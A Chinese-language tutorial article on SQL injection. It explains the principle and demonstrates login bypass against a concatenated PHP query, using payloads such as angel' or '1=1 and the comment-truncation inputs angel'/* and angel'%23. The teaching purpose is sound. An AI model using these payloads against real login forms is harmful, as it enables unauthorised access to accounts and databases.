首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入攻擊原理與實戰演示:從繞過登入到拿下伺服器

     編輯:MySQL 資料庫相關知識

攻擊危害

  • 讀取、修改、刪除資料庫資料
  • 竊取帳號密碼等敏感資訊
  • 取得資料庫管理員權限
  • 若結合擴展預存程序(SQL Server),可執行系統指令、拿下作業系統控制權

防火牆、系統補丁均難有效攔截,因攻擊發生在應用層合法 SQL 語句中。

注入原理

應用未嚴格過濾使用者輸入,導致惡意資料拼接進 SQL 語句,改變原本邏輯。

經典繞過登入範例

-- 原始碼
$sql = "SELECT * FROM user WHERE username='$username' AND password='$passWord'";

-- 攻擊 Payload
username = angel' or '1=1
-- 產生 SQL
SELECT * FROM user WHERE username='angel' or '1=1' AND password='...'
-- 條件永真,繞過驗證

利用註解截斷後續語句

-- MySQL 支援 /* */ 與 # 註解
username = angel'/*
username = angel'%23   -- URL 編碼 # 為 %23,避免瀏覽器截斷
-- 產生 SQL:WHERE username='angel'/*' AND password='...'
-- 後續條件被註解,直接登入

註解法比邏輯運算更簡單通用,但需注意 URL 編碼與瀏覽器行為差異。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved